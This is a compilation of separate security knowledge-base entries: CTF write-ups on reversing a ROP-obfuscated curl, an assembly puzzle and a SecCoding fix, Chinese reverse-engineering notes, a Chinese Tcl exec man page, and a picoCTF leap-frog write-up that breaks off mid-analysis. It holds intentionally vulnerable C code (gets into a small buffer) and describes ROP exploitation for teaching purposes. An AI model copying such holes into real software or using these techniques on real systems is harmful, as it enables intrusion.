curl https://cctv-web.2021.ctfcompetition.com/GoodPassword.html -s | grep CTF <div class="bottom"><div>Important note: CTF{IJustHopeThisIsNotOnShodan}</div></div> ```
sec-knowleage
### 软件逆向工程定义 > Reverse engineering, also called back engineering, is the process by which a man-made object is deconstructed to reveal its designs, architecture, or to extract knowledge from the object; ------ from [wikipedia](https://en.wikipedia.org/wiki/Reverse_engineering) 软件代码逆向主要指对软件的结构,流程,算法,代码等进行逆向拆解和分析。 ### 软件逆向工程应用领域 主要应用于软件维护,软件破解,漏洞挖掘,恶意代码分析。 ### CTF竞赛中的逆向要求 - 熟悉如操作系统,汇编语言,加解密等相关知识 - 具有丰富的多种高级语言的编程经验 - 熟悉多种编译器的编译原理 - 较强的程序理解和逆向分析能力 ### 常规逆向流程 1. 使用`strings/file/binwalk/IDA`等静态分析工具收集信息,并根据这些静态信息进行`google/github`搜索 2. 研究程序的保护方法,如代码混淆,保护壳及反调试等技术,并设法破除或绕过保护 3. 反汇编目标软件,快速定位到关键代码进行分析 4. 结合动态调试,验证自己的初期猜想,在分析的过程中理清程序功能 5. 针对程序功能,写出对应脚本,求解出flag ### 常规逆向流程之定位关键代码tips 1. 分析控制流 控制流可以参见IDA生成的控制流程图(CFG),沿着分支循环和函数调用,逐块地阅读反汇编代码进行分析。 2. 利用数据、代码交叉引用 比如输出的提示字符串,可以通过数据交叉引用找到对应的调用位置,进而找出关键代码。代码交叉引用比如图形界面程序获取用户输入,就可以使用对应的windowsAPI函数,我们就可以通过这些API函数调用位置找到关键代码。 ### 常规逆向流程之逆向tips 1. 编码风格 每个程序员的编码风格都有所不同,熟悉开发设计模式的同学能更迅速地分析出函数模块功能 2. 集中原则 程序员开发程序时,往往习惯将功能相关的代码或是数据写在同一个地方,而在反汇编代码中也能显示出这一情况,因此在分析时可以查看关键代码附近的函数和数据。 3. 代码复用 代码复用情况非常普遍,而最大的源代码仓库Github则是最主要的来源。在分析时可以找一些特征(如字符串,代码风格等)在Github搜索,可能会发现类似的代码,并据此恢复出分析时缺失的符号信息等。 4. 七分逆向三分猜 合理的猜测往往能事半功倍,遇到可疑函数却看不清里面的逻辑,不妨根据其中的蛛丝马迹猜测其功能,并依据猜测继续向下分析,在不断的猜测验证中,或许能帮助你更加接近代码的真相。 5. 区分代码 拿到反汇编代码,必须能区分哪些代码是人为编写的,而哪些是编译器自动附加的代码。人为编写的代码中,又有哪些是库函数代码,哪些才是出题人自己写的代码,出题人的代码又经过编译器怎样的优化?我们无须花费时间在出题人以外的代码上,这很重要。如果当你分析半天还在库函数里乱转,那不仅体验极差,也没有丝毫效果。 6. 耐心 无论如何,给予足够的时间,总是能将一个程序分析地透彻。但是也不应该过早地放弃分析。相信自己肯定能在抽茧剥丝的过程中突破问题。 ### 常规逆向流程之动态分析 动态分析的目的在于定位关键代码后,在程序运行的过程中,借由输出信息(寄存器,内存变化,程序输出)等来验证自己的推断或是理解程序功能 主要方法有:调试,符号执行,污点分析 ### 常规逆向流程之算法和数据结构识别 - 常用算法识别 如`Tea/XTea/XXTea/IDEA/RC4/RC5/RC6/AES/DES/IDEA/MD5/SHA256/SHA1`等加密算法,大数加减乘除、最短路等传统算法 - 常用数据结构识别 如图、树、哈希表等高级数据结构在汇编代码中的识别。 ### 常规逆向流程之代码混淆 比如使用`OLLVM`,`movfuscator`,`花指令`,`虚拟化`及`SMC`等工具技术对代码进行混淆,使得程序分析十分困难。 那么对应的也有反混淆技术,最主要的目的就是复原控制流。比如`模拟执行`和`符号执行` ### 常规逆向流程之保护壳 保护壳类型有许多,简单的压缩壳可以归类为如下几种 - unpack -> execute 直接将程序代码全部解压到内存中再继续执行程序代码 - unpack -> execute -> unpack -> execute ... 解压部分代码,再边解压边执行 - unpack -> [decoder | encoded code] -> decode -> execute 程序代码有过编码,在解压后再运行函数将真正的程序代码解码执行 对于脱壳也有相关的方法,比如`单步调试法`,`ESP定律`等等 ### 常规逆向流程之反调试 反调试意在通过检测调试器等方法避免程序被调试分析。比如使用一些API函数如`IsDebuggerPresent`检测调试器,使用`SEH异常处理`,时间差检测等方法。也可以通过覆写调试端口、自调试等方法进行保护。 ### 非常规逆向思路 非常规逆向题设计的题目范围非常之广,可以是任意架构的任意格式文件。 - lua/python/java/lua-jit/haskell/applescript/js/solidity/webassembly/etc.. - firmware/raw bin/etc.. - chip8/avr/clemency/risc-v/etc. 但是逆向工程的方法学里不惧怕这些未知的平台格式,遇到这样的非常规题,我们也有一些基本的流程可以通用
sec-knowleage
## quite quixotic quest (Reversing, 300 points, 40 solves) Well yes, it certainly is quite quixotic. (Yes, the flag format is PCTF{} ) In this task, we had a modified `curl` binary. We were able to notice the main difference with the original binary even without binary diffing - it was enough to run `qqq --help` to notice the unusual option - `--pctfkey KEY`. Trying to run it with dummy key gives us `wrong` message, so we tried to check in debugger how the key is checked. We quickly noticed the following piece of code is executed if we give that argument: ``` 0x08052aac mov dword [esp], str.Validating_key..._n 0x08052ab3 call sym.curl_mprintf 0x08052ab8 mov edx, dword [ebx + 0x128] 0x08052abe mov eax, obj.magic_buf ; obj.magic_buf 0x08052ac3 mov esp, eax 0x08052ac5 mov eax, edx 0x08052ac7 ret ``` After the `ret` instruction, we end up in two assembly instruction piece of code: ``` 0x080ad0df mov esi, edx 0x080ad0e1 ret ``` Returning again, we are again in some short routine. It looks very similar to a ROP chain. In fact, we can see some returns into the middle of `strlen` function with our key as input, indicating we are on good track. Looking up the `magic_buff` symbol, we notice it has about a quarter of megabyte in size, which is a fair amount of code to step through. I wrote a script (`getrop.py`), which runs `gdb` to disassembly several instructions after each ROP address and save it in `ropchain` file. Unfortunately, it ended up being some 7MB of text, so we needed to filter it somehow. Running debugger and looking at generated ropchain at the same time, I was able to notice many repetitions, looking almost like unrolled loops, so I just editted the file writing number of repetitions and the basic block. There were also many skipped instructions, both by `pop` instructions, which skipped the next instruction, and by some `ret imm16` instructions, which skipped a large amount of bytes at once. In the end, the commented disassembly (`adnotations_ropchain` file) had only about 1000 lines, which was much more manageable. Still, I rewrote it to an even more readable form - pseudo-disassembly in `disasm_written`. The basic thing the code did, was: - checking if key length equals 0x35 - summing ASCII values of all the letters - calculating MD5 of that sum xored with some constants - checking whether that MD5's first dword equals some constant - xoring our input with that MD5 as key - comparing our xored input with some constants From this point on, it was pretty simple. I modified `getrop.py` to also print those constants and save them in `values`. We can brute force the sum of characters and their MD5 - it turns out only one combination returns correct first dword of MD5. Final password is obtained through xoring that MD5 with extracted values. ``` $ python brute_md5.py 10620 13567 c0050bdd747721646f14ff008c6978b9 And the flag is... PCTF{just_a_l1ttle_thing_1_l1ke_t0_call_ropfuscation}w!d ```
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: exec.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: exec.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH exec 3tcl 7.6 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME exec \- 调用子进程 .SH "总览 SYNOPSIS" \fBexec \fR?\fIswitches\fR? \fIarg \fR?\fIarg ...\fR? .BE .SH "描述 DESCRIPTION" .PP 这个命令把它的参数作为对要执行的一个或多个子进程的指定来对待。参数接受标准的 shell 管道的格式(form),即每个 \fIarg\fR 都变成某个命令的一个字,并且每个不同的命令都变成一个子进程。 .PP 如果给 \fBexec\fR的初始的参数以 \fB-\fR 开始,则它们被作为命令行开关而不是管道指定的一部分来对待。当前支持下列开关: .TP 13 \fB\-keepnewline\fR 在管道的输出中保持尾随的换行符。通常要删除尾随的换行符。 .TP 13 \fB\-\|\-\fR 标志开关(部分)的结束。此后的参数即使以\fB-\fR开头仍被作为第一个 \fIarg\fR 来对待。 .PP 如果一个 \fIarg\fR (或成对的 \fIarg\fR)有象下面描述的格式个某一种,则\fBexec\fR 用它来控制子进程间的输入和输出流(flow)。将不把这样的参数传递给子进程。在象“< \fIfileName\fR”这样的格式中 \fIfileName\fR 可以要么是一个与“<”分离的参数,要么是在同一个参数中而没有间隔的空格(例如 “<\fIfileName\fR”)。 .TP 15 | 分隔在管道中不同的命令。前面的命令的标准输出将被输送给后面命令的标准输入中。 .TP 15 |& 分隔在管道中不同的命令。前面命令的标准输出和标准错误输出都被输送到后面的标准输入中。这种重定向格式取代象 2> 和 >& 这样的格式。 .TP 15 <\0\fIfileName\fR 打开由 \fIfileName\fR 指名的文件并作为在管道中的第一个命令的标准输入来使用。 .TP 15 <@\0\fIfileId\fR \fIFileId\fR 必须是一个打开了的文件的标识符,比如是从以前的 \fBopen \fR调用的返回值。作为在管道中的第一个命令的标准输入来使用。\fIFileId\fR 必须用读模式来打开。 .TP 15 <<\0\fIvalue\fR \fIValue\fR 被传递给第一个命令来作为它的标准输入。 .TP 15 >\0\fIfileName\fR 最后的命令的标准输出被重定向到叫 \fIfileName\fR\fI \fR的文件中,覆盖它以前的内容。 .TP 15 2>\0\fIfileName\fR 把管道中所有命令的标准错误输出重定向到叫 \fIfileName\fR 的文件中,覆盖它以前的内容。 .TP 15 >&\0\fIfileName\fR 最后的命令的标准输出和所有命令的标准错误输出都被重定向到叫 \fIfileName\fR的文件中,覆盖它以前的内容。 .TP 15 >>\0\fIfileName\fR 最后的命令的标准输出被重定向到叫 \fIfileName\fR 的文件中,对它进行添加而不是覆盖它。 .TP 15 2>>\0\fIfileName\fR 在管道中的所有的命令的标准错误输出都被重定向到叫 \fIfileName\fR的文件中,对它进行添加而不是覆盖它。 .TP 15 >>&\0\fIfileName\fR 最后的命令的标准输出和所有命令的标准错误输出被重定向到叫 \fIfileName\fR 的文件中,对它进行添加而不是覆盖它。 .TP 15 >@\0\fIfileId\fR \fIFileId\fR 必须是一个打开了的文件的标识符,比如是从以前的 \fBopen\fR调用的返回值。最后的命令的标准输出被重定向到 \fIfileId\fR(指定)的文件中。文件必须用读模式来打开。 .TP 15 2>@\0\fIfileId\fR \fIFileId\fR 必须是一个打开了的文件的标识符,比如是从以前的 \fBopen\fR调用的返回值。在管道中的所有命令的标准错误输出都被重定向到 \fIfileId\fR(指定)的文件中。文件必须用写模式来打开。 .TP 15 >&@\0\fIfileId\fR \fIFileId\fR 必须是一个打开了的文件的标识符,比如是从以前的 \fBopen\fR调用的返回值。最后的命令的标准输出和所有命令的标准错误输出被重定向到 \fIfileId\fR(指定)的文件中。文件必须用写模式来打开。 .PP 如果标准输出没有被重定向,则 \fBexec\fR 命令返回在管道中最后的命令的标准输出。如果在管道中的任何命令不正常退出或被杀死或被挂起,则 \fBexec\fR 将返回一个错误和并且错误信息将包含管道的输出和随后的描述不正常终止的错误信息;\fBerrorCode\fR 变量将包括关于最近所遭遇的不正常终止的额外的信息。如果任何命令写它的标准错误文件而这个标准错误未被重定向,则 \fBexec\fR 将返回一个错误;错误消息将包含管道的标准输出,跟着是关于不正常终止的信息(如果有的话),随后是标准错误输出。 .PP 如果结果或错误信息的最后的字符是一个换行符,则这个换行符通常被从结果或错误信息中删除。这是与其他 Tcl 返回值相一致的,它们通常不用换行(作为)结束。但是,如果指定了 \fB\-keepnewline\fR则保持尾随的换行符。 .PP 如果标准输入未使用 “<” 、“<<” 或 “<@” 来重定向,则把应用的当前的标准输入作为第一个命令的标准输入。 .PP 如果最后的 \fIarg\fR 是“&”,则管道将在后台执行。在这种情况下 \fBexec\fR命令将返回一个列表,列表的元素是在管道中所有子进程的进程标识符。如果在管道中最后的命令的标准输出未被重定向,则输出到应用的标准输出中,并且如果管道中所有的命令的错误输出未被重定向,则错误输出到应用的标准错误中。 .PP 每个命令中的第一个字被接受为命令的名字;在它上面进行“~”(tilde)替换,如果结果不包含斜杠,则在 PATH 环境变量中的目录里查找给定名字的可执行文件。如果名字包含斜杠,则它必须参照一个从当前目录可到达的可执行文件。在给命令的参数上不进行通配符 (glob) 扩展或其他的 shell 式的替换。 .VS .SH "移植要点 PORTABILITY ISSUES" .TP \fBWindows\fR (所有版本) . 从/向一个套接口读或写,使用“\fB@ \fR\fIfileId\fR”记号(notation),不能工作。在从一个套接口读的时候,一个16位 DOS 应用程序将挂起(hang) 而一个32位应用程序将立即返回文件结束(end-of-file)。在任意类型的应用向一个套接口写的时候,如果控制台存在的话,信息转而发送到控制台,否则就丢弃信息。 .sp Tk 控制台文本组件不提供真实的标准 IO 功能。在 Tk 下,从标准输入重定向的时候,所有的应用将看到一个立即的文件结束;重定向到标准输出或标准错误输出的信息将被丢弃。 .sp 要么是正斜杠要么是反斜杠被接受为给 Tcl 命令的参数的路径分隔符。在执行一个应用的时候,对应用的路径名指定也可以包含正或反斜杠作为路径分隔符。但是必须记住,多数 Windows 应用接受有正斜杠的参数作为选项分界符(delimiter)而反斜杠只在路径中。指定了有正斜杠的一个路径名的给应用的任何参数将不被自动的转换成使用反斜杠字符。如果一个参数包括作为路径分隔符的正斜杠,它可以被识别成路径名,也可以不被识别成路径名,这依赖于(具体)程序。 .sp 额外的,在调用一个16位 DOS 或 Windows 3.X 应用时,所有路径名必须使用短的、神秘的(cryptic)的路径格式(例如,使用“applba~1.def”来替代 “applbakery.default”)。 .sp 在一个路径中在一行的两个或更多的正或反斜杠参照一个网络路径。例如,根目录\fBc:/\fR 和一个子目录\fB/windows/system\fR的一个简单的连接将产生\fBc://windows/system\fR (两个斜杠在一起),这参照的是在叫 \fBwindows\fR 的那台机器上的叫 \fBsystem\fR 的挂装点(而 \fBc:/\fR 被忽略),这并不等价于 \fBc:/windows/system\fR,它描述的是在当前计算机上的一个目录。应使用 \fBfile join\fR 命令来连接路径的成员。 .TP \fBWindows NT\fR . 在尝试执行一个应用时,\fBexec\fR 首先查找指定的那个名字。接着按 \fB.com\fR、 \fB.exe\fR, 和 \fB.bat\fR 的次序把它们添加到指定的名字的后面并查找这个加长了的名字。如果没有指定一个目录名作为应用(程序)名的一部分,在尝试定位应用(程序)时,依次在下列目录中自动查找: .sp .RS .RS 装载 Tcl 可执行文件的目录。 .br 当前目录 .br Windows NT 32位系统目录。 .br Windows NT 16位系统目录。 .br Windows NT 主目录。 .br 在 path 中列出的目录。 .RE .sp 要执行 shell 内置命令象 \fBdir\fR 和 \fBcopy\fR, 调用者必须为想用的命令加上“\fBcmd.exe /c \fR”前导 (prepend)。 .sp .RE .TP \fBWindows 95\fR . 在尝试执行一个应用时,\fBexec\fR首先查找指定的那个名字。接着按 \fB.com\fR、 \fB.exe\fR, 和 \fB.bat\fR 的次序把它们添加到指定的名字的后面并查找这个加长了的名字。如果没有指定一个目录名作为应用(程序)名的一部分,在尝试定位应用(程序)时,依次在下列目录中自动查找: .sp .RS .RS 装载 Tcl 可执行文件的目录。 .br 当前目录。 .br Windows 95 系统目录。 .br Windows 95 主目录。 .br 在 path 中列出的目录。 .RE .sp 要执行 shell 内置命令象 \fBdir\fR 和 \fBcopy\fR, 调用者必须为想用的命令加上“\fBcommand.exe /c \fR”前导(prepend)。 .sp 一旦一个 16位 DOS 应用程序从一个控制台读标准输入接着退出,所以后来运行的 16位 DOS 应用程序将看到标准输入已经被关闭了。32位应用程序没有这个问题并将正确运行,即使在一个 16位 DOS 应用程序认为标准输入已经被关闭之后。此时还没有针对这个缺陷的已知的工作项目(workaround)。 .sp NUL: </B> 设备和一个 16位应用程序之间的重定向不总是工作。在从 \fBNUL: \fR重定向时 一些应用程序可能挂起,另一些将得到永无穷尽(infinite)的“0x01”字节流(stream),而有一些实际上将正确的得到立即的文件结束;这些行为象是依赖于编译到应用程序自身中的某些东西。在到 \fBNUL:\fR的重定向大于或等于4K 时, 一些应用将挂起(hang)。在32位应用程序中不发生上述问题。 .sp 所有 DOS 16位应用程序都是同步运行的。从一个管道到一个 16位 DOS 应用程序的所有标准输入被搜集到一个临时文件中;在这个16位 DOS 应用程序开始执行之前,管道的其他端点(end)必须被关闭。从一个16位 DOS应用程序到一个管道的所有标准输出或错误输出被搜集到一个临时文件中;在临时文件被重定向到管道的下一个阶段之前,这个应用程序必须终止。这源于一个针对 Windows 95在实现管道中的一个缺陷的工作项目,也是标准的 Windows 95 DOS shell 自身处理管道的方式。 .sp 特定的应用程序,象 \fBcommand.com\fR ,不应该交互的执行。不从标准输入读和向标准输出写,而是直接访问控制台窗口的应用程序可能会失败,并挂起Tcl,如果它们自己的私有控制台窗口不可使用甚至可能挂起系统。 .RE .TP \fBMacintosh\fR 在 Macintosh 下 \fBexec\fR 命令未被实现而不存在。 .TP \fBUnix\fR\0\0\0\0\0\0\0 \fBexec\fR 命令是全功能的并象上面描述的那样工作。 .SH "参见 SEE ALSO" error(n), open(n) .SH "关键字 KEYWORDS" execute, pipeline, redirection, subprocess .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/07/11 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
## SecCoding 2 (Misc, 300p) > You should fix vulnerabilities of the given source code, WITHOUT changing its normal behaviour. Link ###ENG [PL](#pl-version) We are given following code, and are tasked with repairing bugs and vulnerabilities in it: ```cpp #include <math.h> #include <stdio.h> #include <windows.h> int main(int argc, char **argv) { // STRING ECHO // // Sample usage: // strecho repeat=4,str=pleaseechome char *str = (char *)malloc(100); int repeat = 0; char *line = GetCommandLineA(); while (*line != ' ') line++; line++; if (strncmp(line, "repeat=", 7) == 0) { line += 7; repeat = atoi(line); line += (int)ceil(log10((double)repeat)) + 1; } if (strncmp(line, "str=", 4) == 0) { line += 4; str = strtok(line, " "); } for (int i = 0; i < repeat; i++) printf("%s\n", str); line += strlen(str); for (; line >= GetCommandLineA(); line--) *line = '\x0'; free(str); return -14; } ``` This code doesn't suck as much as previous one, but still is way worse that anything that could hope to pass any code review. Regardless, we tweaked this code, added few checks here and there, and managed to solve this challenge: ```cpp #include <errno.h> #include <math.h> #include <stdio.h> #include <windows.h> int main(int argc, char **argv) { // STRING ECHO // strecho repeat=4,str=pleaseechome char *line = GetCommandLineA(); int repeat = 0; while (*line != ' ') { line++; if (*line == '\0') { puts("error"); return -14; } } line++; if (*line == '\0') { puts("error"); return -14; } if (strncmp(line, "repeat=", 7) == 0) { line += 7; repeat = strtol(line, &line, 10); if (repeat <= 0) { puts("error"); return -14; } if (errno == ERANGE) { puts("error"); return -14; } } line++; if (*line == '\0') { puts("error"); return -14; } if (strncmp(line, "str=", 4) == 0) { line += 4; for (int i = 0; i < repeat; i++) { printf("%s\n", line); } } return -14; } ``` ###PL version Dostajemy następujący kod, i mamy naprawić w nim błędy i vulny: ```cpp #include <math.h> #include <stdio.h> #include <windows.h> int main(int argc, char **argv) { // STRING ECHO // // Sample usage: // strecho repeat=4,str=pleaseechome char *str = (char *)malloc(100); int repeat = 0; char *line = GetCommandLineA(); while (*line != ' ') line++; line++; if (strncmp(line, "repeat=", 7) == 0) { line += 7; repeat = atoi(line); line += (int)ceil(log10((double)repeat)) + 1; } if (strncmp(line, "str=", 4) == 0) { line += 4; str = strtok(line, " "); } for (int i = 0; i < repeat; i++) printf("%s\n", str); line += strlen(str); for (; line >= GetCommandLineA(); line--) *line = '\x0'; free(str); return -14; } ``` Ten kod nie jest tak dramatycznie zły jak poprzedni, ale ciągle nie miałby szans na przejście code-review gdziekolwiek. Tak czy inaczej, poprawiliśmy go troche, dodaliśmy trochę sprawdzeń tu i tam, i udało nam się dostać 300p za to zadanie: ```cpp #include <errno.h> #include <math.h> #include <stdio.h> #include <windows.h> int main(int argc, char **argv) { // STRING ECHO // strecho repeat=4,str=pleaseechome char *line = GetCommandLineA(); int repeat = 0; while (*line != ' ') { line++; if (*line == '\0') { puts("error"); return -14; } } line++; if (*line == '\0') { puts("error"); return -14; } if (strncmp(line, "repeat=", 7) == 0) { line += 7; repeat = strtol(line, &line, 10); if (repeat <= 0) { puts("error"); return -14; } if (errno == ERANGE) { puts("error"); return -14; } } line++; if (*line == '\0') { puts("error"); return -14; } if (strncmp(line, "str=", 4) == 0) { line += 4; for (int i = 0; i < repeat; i++) { printf("%s\n", line); } } return -14; }
sec-knowleage
# assembly-3 Reversing, 400 points ## Description: > What does asm3(0xb3fb1998,0xfe1a474d,0xd5373fd4) return? Submit the flag as a hexadecimal value (starting with '0x'). ```assembly .intel_syntax noprefix .bits 32 .global asm3 asm3: push ebp mov ebp,esp mov eax,0x62 xor al,al mov ah,BYTE PTR [ebp+0xa] sal ax,0x10 sub al,BYTE PTR [ebp+0xd] add ah,BYTE PTR [ebp+0xe] xor ax,WORD PTR [ebp+0x10] mov esp, ebp pop ebp ret ``` ## Solution: This is how the stack looks like after performing the `mov ebp,esp` command: ``` +---------------+ | old ebp | <-- ebp +---------------+ | ret | <-- ebp + 0x4 +---------------+ | 0xb3fb1998 | <-- ebp + 0x8 (arg1) +---------------+ | 0xfe1a474d | <-- ebp + 0xc (arg2) +---------------+ | 0xd5373fd4 | <-- ebp + 0x10 (arg3) +---------------+ ``` And due to endianness (little-endian), this is how the stack looks like, relative to ebp: ``` Byte grouping: +0x8 +0x9 +0xA +0xB +0xC +0xD +0xE +0xF +0x10 0x11 0x12 0x13 +----+----+----+----+----+----+----+----+----+----+----+----+ | 98 | 19 | fb | b3 | 4d | 47 | 1a | fe | d4 | 3f | 37 | d5 | +----+----+----+----+----+----+----+----+----+----+----+----+ Word grouping: +0x8 +0xA +0xC +0xE +0x10 +0x12 +------+------+------+------+------+------+ | 1998 | b3fb | 474d | fe1a | 3fd4 | d537 | +------+------+------+------+------+------+ ``` What happens later is: ```assembly push ebp mov ebp,esp mov eax,0x62 xor al,al ; eax = 0 mov ah,BYTE PTR [ebp+0xa] ; ah = 0xfb (ax = 0xfb00) sal ax,0x10 ; ax = 0 sub al,BYTE PTR [ebp+0xd] ; al = 0 - 0x47 = 0xb9 add ah,BYTE PTR [ebp+0xe] ; ah = 0 + 0x1a => ax = 0x1ab9 xor ax,WORD PTR [ebp+0x10] ; ax ^ 0x3fd4 mov esp, ebp pop ebp ret ``` So the flag is 0x1ab9 ^ 0x3fd4 = 0x256d.
sec-knowleage
# leap-frog Binary Exploitation, 300 points ## Description: > Can you jump your way to win in the following program and get the flag? ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <stdbool.h> #define FLAG_SIZE 64 bool win1 = false; bool win2 = false; bool win3 = false; void leapA() { win1 = true; } void leap2(unsigned int arg_check) { if (win3 && arg_check == 0xDEADBEEF) { win2 = true; } else if (win3) { printf("Wrong Argument. Try Again.\n"); } else { printf("Nope. Try a little bit harder.\n"); } } void leap3() { if (win1 && !win1) { win3 = true; } else { printf("Nope. Try a little bit harder.\n"); } } void display_flag() { char flag[FLAG_SIZE]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("'flag.txt' missing in the current directory!\n"); exit(0); } fgets(flag, sizeof(flag), file); if (win1 && win2 && win3) { printf("%s", flag); return; } else if (win1 || win3) { printf("Nice Try! You're Getting There!\n"); } else { printf("You won't get the flag that easy..\n"); } } void vuln() { char buf[16]; printf("Enter your input> "); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); } ``` Note: Initially, the binary posted with the challenge had PIE enabled. After a while, the binary was replaced with a version with PIE disabled, and that's the version used for this solution. ## Solution: We need to take over the stack using the buffer overflow in `vuln`, and use it to direct the flow execution: We must set `win1`, `win2` and `win3` to `true`, and finally call `display_flag` in order to get the flag. This challenge is similar to last year's [rop chain](/2018_picoCTF/rop%20chain.md), however there's a twist: We can't call `leap3` directly, since its condition for setting `win3` to `true` can't be satisfied: `if (win1 && !win1)`. Therefore we must create a ROP-chain pieces together several gadgets in order to set `win3` to `true`. What if we could skip the `if (win1 && !win1)` part and jump directly to `win3 = true;`? Let's take a look at `leap3`: ``` root@kali:/media/sf_CTFs/pico/leap-frog# r2 rop -- Search returned no hits. Did you mean 'Misassemble'? [0x080484d0]> aaa [Cannot analyze at 0x080484c0g with sym. and entry0 (aa) [x] Analyze all flags starting with sym. and entry0 (aa) [Cannot analyze at 0x080484c0ac) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] 